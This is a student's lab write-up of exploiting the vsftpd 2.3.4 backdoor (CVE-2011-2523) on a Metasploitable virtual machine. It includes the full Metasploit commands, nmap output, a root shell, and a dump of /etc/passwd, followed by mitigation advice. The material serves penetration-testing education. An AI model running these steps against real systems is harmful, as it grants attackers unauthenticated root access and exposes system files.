

EXPLIOTING VSFTPD 2.3.4 BACKDOOR USING METASPLOIT

NAME: Adithya garika

DATE: 03/06/2025

Project Title: Exploiting vsftpd 2.3.4 Backdoor using Metasploit:

Overview:

To perform a penetration test on a vulnerable target machine by exploiting the known backdoor vulnerability in vsftpd 2.3.4 using the Metasploit Framework.

- Vulnerability name: vsftpd 2.3.4 Backdoor
- CVE: CVE-2011-2523
- Metasploit Module: exploit/unix/ftp/vsftpd_234_backdoor

Tools used:

- Kali linux
- Metasploit Framework (msfconsole)
- Vulnerable Machine with vsftpd 2.3.4 installed
- VirtualBox
- Nmap

Exploitation:

1. Found Metasploit IP address by using Nmap scan in Kali Linux.
 - IP: 192.168.1.38
2. Launched msfconsole.
 - msfconsole
3. Searched for the vsftpd exploit module.
 - search vsftpd 2.3.4
4. Selected the exploit.
 - use exploit/unix/ftp/vsftpd_234_backdoor
5. Set the target IP.
 - set RHOSTS 192.168.1.38
6. Run the exploit
 - run
7. Metasploit successfully connected and opened a command shell with root privileges.
 - Found shell
Command shell session 1 opened
UID=0(root) GID=0(root)
8. Verified shell access using.
 - whoami
 - uname -a


Impact of the Vulnerability:

- This vulnerability in vsftpd 2.3.4 allows attackers to gain unauthenticated root shell access.
- If exploited in the real world, attackers can fully compromise the server.
- This is a serious misconfiguration left intentionally by a malicious version of the vsftpd binary.

Mitigation:

- Never use outdated software versions like vsftpd 2.3.4.
- Regularly patch and update services.
- Perform routine vulnerability scans and pentesting.
- Use host-based firewalls to restrict FTP access.

Screenshots:



```
File Actions Edit View Help
kali@kali: ~
Nmap scan report for 192.168.1.38
Host is up (0.00098s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              vsftpd 2.3.4
22/tcp    open  ssh              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet           Linux telnetd
25/tcp    open  smtp             Postfix smtpd
53/tcp    open  domain          ISC BIND 9.4.2
80/tcp    open  http             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind          2 (RPC #100000)
139/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec            netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi         GNU Classpath gmrregistry
1524/tcp  open  bindshell       Metasploitable root shell
2049/tcp  open  nfs             2-4 (RPC #100003)
2121/tcp  open  ftp             ProFTPD 1.3.1
3306/tcp  open  mysql           MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql      PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc             VNC (protocol 3.3)
6000/tcp  open  X11             (access denied)
6667/tcp  open  irc             UnrealIRCd
8009/tcp  open  ajp13           Apache Jserv (Protocol v1.3)
8180/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.1
MAC Address: D8:F2:CA:10:48:AC (Intel Corporate)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds

kali@kali)~$
```

```

kali@kali: ~
File Actions Edit View Help
kali@kali: ~ kali@kali: ~
x00000000000000c c00000000000000x
:000000000000000k: ;x0000000000000000:
'0000000000kkk00000: ;000000000000000000'
o00000000..o0000000001..o00000000o
d00000000..c00000c..o0000000x
100000000..;d;..o0000000l
o00000000..;i..;..o0000000o
c00000000..o0c..'o0o..o0000000c
o00000000..o0000..o0000..o000000o
100000000..o0000..o0000..o0000l
;o000'..o0000..o0000..;o000;
.d00o..o0000cccx0000..x00d..
,k0l..o0000000000000..d0k;
:kk;..o0000000000000..c0k;
;k0000000000000000k:
,x0000000000000x,
..10000000l..
..d0d;
..
=[ metasploit v6.4.69-dev ]
+ --==[ 2529 exploits - 1299 auxiliary - 432 post ]
+ --==[ 1672 payloads - 49 encoders - 13 nops ]
+ --==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd 2.3.4

Matching Modules
=====
# Name Disclosure Date Rank Check Description
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

```

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      192.168.1.38     no        The local client address
  CPORT      21               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[type:host:port][...]. Supported proxies: sapn1, socks4, socks5, socks5h, http
  RHOSTS     192.168.1.38     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.38
RHOSTS => 192.168.1.38
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.38:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.38:21 - USER: 331 Please specify the password.
[*] 192.168.1.38:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.38:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.52:46769 -> 192.168.1.38:6200) at 2025-07-02 12:27:50 -0400
```

```
[*] Command shell session 1 opened (192.168.1.52:46769 -> 192.168.1.38:6200) at 2025-07-02 12:27:50 -0400

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ls /root
Desktop
reset_logs.sh
vnc.log
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuid:x:100:101:/:/var/lib/libuid:/bin/sh
dhcp:x:101:102:/:/nonexistent:/bin/false
syslog:x:102:103:/:/home/syslog:/bin/false
klog:x:103:104:/:/home/klog:/bin/false
sshd:x:104:65534:/:/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
```

CONCLUSION: in this project, I used the Metasploit Framework to exploit a known backdoor vulnerability in vsftpd 2.3.4. By running a simple exploit module, I was able to get root access on the target machine. This helped me understand how attackers take advantage of outdated software I also learned how Metasploit works, how to find and use modules, and how to open a shell session. This practical experience improved my knowledge of real-world attacks and how to prevent them. Overall, this project helped me feel more confident in using Metasploit as a penetration testing tool.